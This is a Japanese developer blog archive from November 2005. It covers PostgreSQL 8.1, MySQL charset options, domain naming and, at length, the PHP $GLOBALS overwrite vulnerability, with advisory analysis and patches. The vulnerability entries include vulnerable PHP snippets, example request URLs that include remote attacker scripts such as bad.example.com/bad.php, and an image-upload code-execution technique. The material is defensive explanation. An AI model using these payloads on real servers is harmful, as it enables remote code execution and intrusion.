月: 2005年11月

PHP 5.0.5の参照エラーを回避するパッチ

PHP 5.0.5の場合、不必要なFatalエラーが多発します。

Fatal error: Only variables can be passed by reference in
/home/yohgaki/public_html/pukiwiki-1.4.5_1.orig/rules.ini.php on line 26

私も最初は本気でこのような仕様にするつもりか、と思いましたが5.0.6では修正されます。

パッチを当てることでPHP 5.0.5で発生するエラーを回避できます。

ところでPHP 5.0.xはMMAPの利用方法にバグがある為、2MB以上のファイルを取り扱えない場合があります。この問題にはこちらのパッチをどうぞ。

PostgreSQL 8.1リリース

実はリリースされていた事は知りつつスルーしていたのですが微力でも宣伝を。

PostgreSQL 8.1は本当に速いでも紹介していたPostgreSQL8.1がリリースされています。

速いだけでなくうれしい新機能も盛り沢山です。是非使ってみてください。

新しい、先進的データベース機能

ロール:PostgreSQLがデータベースロールをサポートするようになりました。ロールにより、データベース権限が複雑に関連し合うような大規模なユーザ管理が簡単に行うことができます。

IN/OUTパラメータ:PostgreSQLの関数がIN、OUT、INOUTパラメータをサポートするようになりました。これにより、J2EEや.NETアプリケーションにおける複雑なビジネスロジックのサポートが改良されました。

2相コミット(2PC:Two-Phase Commit):2PCはWAN環境におけるアプリケーションで長い間待ち望まれていた機能です。広域ネットワーク上に分散したサーバ間でACID特性を持つトランザクション処理を可能にします。(訳注:「ACID」とは、Atomicity(原子性)、Consistency(一貫性)、Isolation(隔離性)、Durability(耐久性)の頭文字です。)
性能の改善

マルチプロセッサ(SMP)環境における性能改善:バージョン8.1におけるバッファ管理機構は、8-way、16-wayシステムやデュアルコア、マルチコアCPUのサーバにおいて、プロセッサ数に対してほぼリニアにスケールします。

ビットマップスキャン:インデックスは状況に応じて自動的にメモリ内部でビットマップに変換されます。この機能によって、大規模テーブルに対する複雑な問い合わせのインデックス検索が20倍以上高速化されます。また、複数列に対するインデックスを作成する必要性が減少し、データベース管理が簡単になります。

テーブルパーティショニング:バージョン8.1では、制約による排他といわれる技法を用いて、問い合わせプランナが大規模なテーブル全体をスキャンしないようになりました。他のデータベース管理システムにおけるテーブルパーティショニング同様、これにより数ギガバイトのテーブルに対する性能とデータ管理が改良されました。

共有行ロック:PostgreSQLの「行レベルロックよりも優れた方法」に、共有行ロックの機能を追加することで、より高い同時実行性をサポートできるようになりました。共有ロックにより、大量のOLTPを必要とするアプリケーションでの挿入・更新の性能が向上するはずです。

Reliable Computer Solutionsのデータベース管理者であるMerlin Moncureは次のように述べています。「PostgreSQL 8.1によって(私たちの)Opteron デュアルプロセッサ運用用サーバで非常に大きな性能向上が実現しました。具体的にいうと、CPU負荷において20%、サーバの負荷特性においては20から40%もの性能向上が見られました。」

この他にも120項目以上におよぶ改良が行なわれています。詳しくは8.1 プレスキットを参照してください。

ダウンロード: http://www.postgresql.jp/PostgreSQL/download.html
日本PostgreSQLユーザ会: http://www.postgresql.jp/
PostgreSQL Project: http://www.postgresql.org/

PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – まとめ

追記 2007/11/06: 現在のリリース版(4.4.7, 5.2.4)ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。

追記:PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。

よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。


Hardened-PHP Projectのセキュリティアドバイザリ

http://www.hardened-php.net/advisory_202005.79.html (以下アドバイザリ)

および

http://www.hardened-php.net/globals-problem (以下ホワイトペーパー)

について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
(ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています)

2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。

問題1 -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.3.10以下、PHP 5.0.3以下)register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.4.0以下、PHP 5.0.5以下)

この不具合の影響:例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。

備考:この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。

問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。

問題となるようなコードの例

<?php
// 呼び出されたスクリプトのディレクトリを取得
define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);

// $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。

// ライブラリの初期化
include(LIBPATH . ‘init.php’);

// 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
// 等を設定してリモートスクリプトを実行できる
?>

問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。

この問題の影響:既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。

備考:効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ(関数内)での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。

問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
$GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する

問題となるようなコードの例

<?php
// PEARライブラリを初期化
include ‘PEAR.php’;

// 古いコードの実行のためにregister_globals設定に関わらずユーザ
// 変数をグローバルスコープにインポート
// (このようなコードがある事自体がセキュリティホールですが例として)
import_request_variables(‘gp’);

// 本来はシャットダウン関数として登録するつもりのない関数
function bad_function() {
// register_gloabls=offが前提。$GLOBALSへのアクセスは安全(なはず…)
include $GLOBALS[‘some_path’] . ‘/some_file.php’;
}

// 攻撃者は 関数引数がinclude/requireに利用されている関数を
// $GLOBALS[‘_PEAR_shutdown_funcs’]
// に攻撃用の外部スクリプトを呼び出すよう
//http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
// 等としてリモートスクリプトを実行する。
?>

攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
(PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。)

この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。

追記:今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に(約5分で)見つけることが出来ました。

PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。

参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。

最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。

参考:
PHPの脆弱性リスト
http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
簡易な対策
http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam

過去の関連エントリ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp

PHPの現行リリースに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – その2

追記:まとめ用のエントリも追加しました下記URLもご覧ください。

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2


まず先のブログエントリで私が誤解していたため解りづらい状態になっていました。register_globals=offであればアドバイザリ(http://www.hardened-php.net/advisory_202005.79.html)の影響は受けません。この場で深くお詫びいたします。

いくつかのパターンが考えられますが今回Hardened-PHPプロジェクトからのアドバイザリで指摘されている問題によって影響を受ける環境は次のようになります。

影響を受ける環境1

  • register_globals=on に設定しているPHP4,PHP5
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_202005.79.html

影響を受ける環境2

  • parse_str関数を1つの引数のみでユーザが送信したデータに対して使用した場合
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_192005.78.html

アドバイザリより参照先とされたリンク先の問題の方が問題です。安全なプログラミングをこころがけているプログラマであれば脆弱なコードを書くことはないと思いますが、後で影響を受ける環境/プログラムについてもう少し解りやすく記述します。

http://www.hardened-php.net/globals-problem

影響を受ける環境3

  • import_request_variables等を使ってスコープ内にユーザが送信した変数を初期化しているプログラムを使用している(実装の違いからPHP4とPHP5、パッチの有り無し、バージョン、global_register設定で影響範囲が違う)

環境1のregister_globals=offはPHP4.2からのデフォルトであるため現在register_globals=onで運用しているシステムは無いと思いますが、register_globals=onでなければ動作しないアプリケーションの場合、直接影響を受けるので直ぐにアップデートが必要です。環境2のアドバイザリは事例が限定されていますがregister_globals=off設定でもregister_globals=onに変えてしまう脆弱性です。parse_str関数を引数1つのみで使う事は無いと思いますが一旦register_globals=onに設定が変わるとプロセスが終了するまでそのままになってしまいます。環境3はPHP本体の脆弱性とPHPスクリプトに作ってしまう脆弱性です。

Stefanさんの環境1に対するアドバイザリがCriticalとして設定されているのは次の理由からと考えられます。

  • 問題が発見されるまでは安全と考えられていたグローバル変数を利用したコードが危険なコードであること
  • PHP 4.4.1以前に添付されているPEAR.php等が攻撃に対して脆弱であること
  • 古いPHPとコードと使用している組織が多いこと
  • ワームなどが発生する可能性があると考えていること

# 環境2のparse_str関数の問題がLowレベルのアドバイザリとしてリリースした事
# から考えると環境1をCriticalレベルのアドバイザリとしてfile uploadの問題
# を取り上げるのはどうかと思います。言い訳になりますが同時に出されたアド
# バイザリのレベル、参考リンクと必要なパッチを見て誤解してしまう、という
# 失敗をしてしまいました。

典型的な環境3のようなプログラムはregister_globals=onである事を仮定していたレガシーなコードをregister_globals=off環境でも動作するように修正したプログラムと思います。新しいプログラムでもimport_request_variables関数等を利用した古いプログラミングスタイルのプログラムは脆弱になります。import_request_variables関数を利用しなくても自前でforeach文などでユーザ入力をスコープ上に展開した場合も脆弱になります。(hardened-phpの場合、このようなケースでも対応しているそうです)

対策としてはPHP本体とPEARをバージョンアップしできる限り安全な状態も必要ですが、PHPコードの再検査、特にレガシーなPHPスクリプト、を行い危険なユーザ変数のスコープ(クラス、ローカル、グローバル全て)への代入が無い事を確認する必要性があります。この問題をPHP本体のみで対処できれば良いのですがすべては望めません。

function bad1() {
  import_request_variables('g'); // GETの変数をローカルスコープに展開したい
  // prefixを付けないと$GLOBALSなどを書き換えられる可能性がある
}

function bad2() {
  forearch($_GET as $k=$v) $$k=$v;
  // import_request_variables('g')と同じ
}

確かにアドバイザリにあるようなPHP本体の脆弱性が影響する部分もあるのですが、ホワイトペーパーで指摘されているユーザのコード(PHPで書いたスクリプト)の方が問題と思います。上記の様なコードは非常に危険であるため古いコードには十分注意が必要と思います。

PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下)

このページ情報は不正確です。このページを参照された方は

まとめ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2

を参照して頂けるようお願いいたいたします。

PHPの脆弱性リスト


PHPに深刻な脆弱性がある事が発表されました。今まで見つかったPHPの脆弱性の中でも「最悪」の脆弱性です。全てのPHPユーザは今すぐ対処を行う必要があります。

http://www.hardened-php.net/advisory_202005.79.html
http://www.hardened-php.net/advisory_192005.78.html
http://www.hardened-php.net/globals-problem

PHP4とPHP5で多少影響範囲が異なります。詳しくはオリジナルのアドバイザリと脆弱性の説明を読んでください。この脆弱性は非常に危険です。特にオープンソースのPHPアプリケーションを使用している場合、速やかに対処される事をお勧めします。

PEARを利用していない場合PEARファイルを削除するなどの対処も、一時的には、有効な対策になると思います。
# この対策は脆弱性をほんの少し隠すくらいの意味しかありません。
## ワームなどに利用される可能性が高いPEAR.phpにアクセスさせない為
# PHP本体をアップグレードしないと根本的な対策となりません。

PHP4はPHP4.4.1にアップグレードすれば大丈夫です。PHP4.4.xはソースの埋め込み定数参照の仕様が変更されているためプログラムが動作しなくなることがあります。(念のため)

WikiにPHP 4.3.11、PHP 5.0.4用とPHP 5.0.5用のパッチを載せました。

http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2F%24GLOBAL%CA%DD%B8%EE%A5%D1%A5%C3%A5%C1

PHP5.0.5はPHP4.4.0と同様に埋め込み定数参照の仕様が変更されています。PHP 4.3 -> PHP 4.4と同じ互換性問題がPHP 5.0.4 -> PHP 5.0.5で発生します。この為PHP 5.0.4とPHP 5.0.5の両方を用意しました。

パッチを見れば判りますがPHP 5.0.6となるCVSのPHP_5_0ブランチにはこの変更は組み込まれています。

脆弱性の説明から

Impact of GLOBALS overwrite

The impact of this kind of vulnerabilities is very high, because the problematic code seems to be secure unless you know about this behaviour of PHP and therefore very many applications are vulnerable to this problem. Additionally it is problematic, that the heart of PEAR (PEAR.php) also suffers from this vulnerability in PHP, although their code is written in a way that should be safe onder normal circumstances.

According to PHP usage statistics 71.03% of all servers, that announce a PHP4 version within their HTTP headers, are still using PHP <= 4.3.10. This actually means that most of the servers out there are running with old versions of PEAR where a application gets automatically vulnerable if it includes PEAR.php and is running with register_globals turned on. And this also means, that any PHP application that suffers from a local file include vulnerability can be easily turned into a remote code execution vulnerability by simply including the local copy of PEAR.php, that is usually in standard (or easyly guessable) paths. Additionally the PEAR directory is often trusted and therefore added as safe_mode_include_dir or to the open_basedir, so that it is even possible to include PEAR.php if SAFE_MODE or open_basedir is used to secure the system.

In the end it is simply unknown how many PHP applications suffer from these problems, because the problem is often overseen, widespread and unknown to a lot of security auditors. And with PEAR.php and vBulletin there are already two very big names on the list of affected applications.

要約すると

– この脆弱性は非常に危険
– さらに悪いことにはPEAR.phpもこの脆弱性の影響を受ける
– 世の中にはPHP 4.3.10以下のサーバが多くある
(注:4.3.10以下はさらに危険。4.3.11で$_GET/$_POST/$_COOKIEの脆弱性が対処されている)
– PEAR.phpのインクルードパスは信頼されている場合が多く、safe_mode, open_basedirによる保護が効かない
– 影響を付けるシステム、アプリケーションは数え切れないほど多い

PHP4ユーザは少なくとも今すぐPHP 4.3.11にアップグレードし、さらに$_FILESの脆弱性を埋めるパッチを適用するべきです。

PHP5ユーザはPHP 5.0.4またはPHP 5.0.5にアップグレードし脆弱性に対するパッチを適用するべきです。

なか見!検索 – Amazonでも中身が見れる

使用許諾は随分前だったのですがやっとAmazonの本文参照サービスがスタートしたようです。「はじめてのPHP言語プログラミング入門」も中身が見えるようになりました。

本に表記されているページ数で言うと20ページまで見ることができました。個人的にはもっと見えるようになっている方が良いと思います。

「はじめてのPHP言語プログラミング入門」はプログラミング初心者には不評、プログラミング経験者には好評、と評価がはっきり分かれる本なのでネットでもう少し読めた方が読者満足度が増して良いと思うのですが…

MySQL 4.1, 5.0の文字化け回避

日本人には必要なオプションがmysqldのオプションに追加されたようです。4.1.15、5.0.15以降なら使えるそうです。

A new command line argument was added to mysqld to ignore client character set information sent during handshake, and use server side settings instead, to reproduce 4.0 behaviour (Bug #9948):

mysqld –skip-character-set-client-handshake

ちょっと乱暴ですがPostgreSQLなら「initdbのオプションに–no-localeを付ける」にあたいするくらい重要かも知れません。

不要なドメインは使わない

このブログの「新しいドメインの仕組や新ドメインは必要か?」等で時々新しいドメインは不必要と書いていますがDomainKeysの例が解かりやすいと思います。

Yahoo! AuctionがDomainKeysに対応したそうです。

ただしこのときユーザは、そのドメインが自分の登録しているサービスや金融機関等がもつドメインなのかどうか、を自分自身で知っている必要がある。

当り前ですがユーザがこのドメインは信頼できる、と知っていなければDomainKeysは役に立たないのです。

組織によってはやたらとブランドやサービス毎に新しいドメイン名を持ちたがる所があります。例えば

  • brand-a.jp, brand-b.jp 等商品ブランド毎にドメインを持つ
  • service-a.jp, service-b.jp 等サービスタイプ毎にドメインを持つ

等です。そして最悪なのが「組織ドメイン名+サービス・ブランド名」を使っている場合です。

  • brand-a-company.jp
  • service-a-company.jp

この様なドメインと使うと「私のサイト利用者をどうぞフィッシングしてください」と言っているようなものです。

googleやsony等の大企業が特定のサービスやブランド、gmailやplaystation等、を本気でプロモーションする等のケース以外は全て自社ドメインのサブドメインとするべきです。例え大企業でも出来る限り自社ドメインのサブドメインを使ったサイトを構築した方がユーザにとって親切です。

brand-a.jp や brand-a-company.jpではなく

  • brand-a.company.jp

とした方がユーザにとってドメインが信用できるかどうか判り易いのは明らかです。

しっかりとプロモーション、SEO対策を行えば自社ドメインのサブドメインとしてサービス、製品サイトを作っても何の問題もありません。中途半端にしかプロモーションしないのであれば新規の組織レベルドメインは有害でさえあります。不要/無用/有害なドメインが多すぎると感じるのは私だけでは無いと思います。

# ここではDomainKeysに対応したというニュースに対して
# コメントしていますが、httpsでも全く同じ問題が発生
# します。無用なドメインは排除するべきでしょう。
# 特に国際化ドメインは信頼できるサイトとしては乱用
# を防ぐために保持する事は避けられませんが、使用する
# べきでは無いと考えています。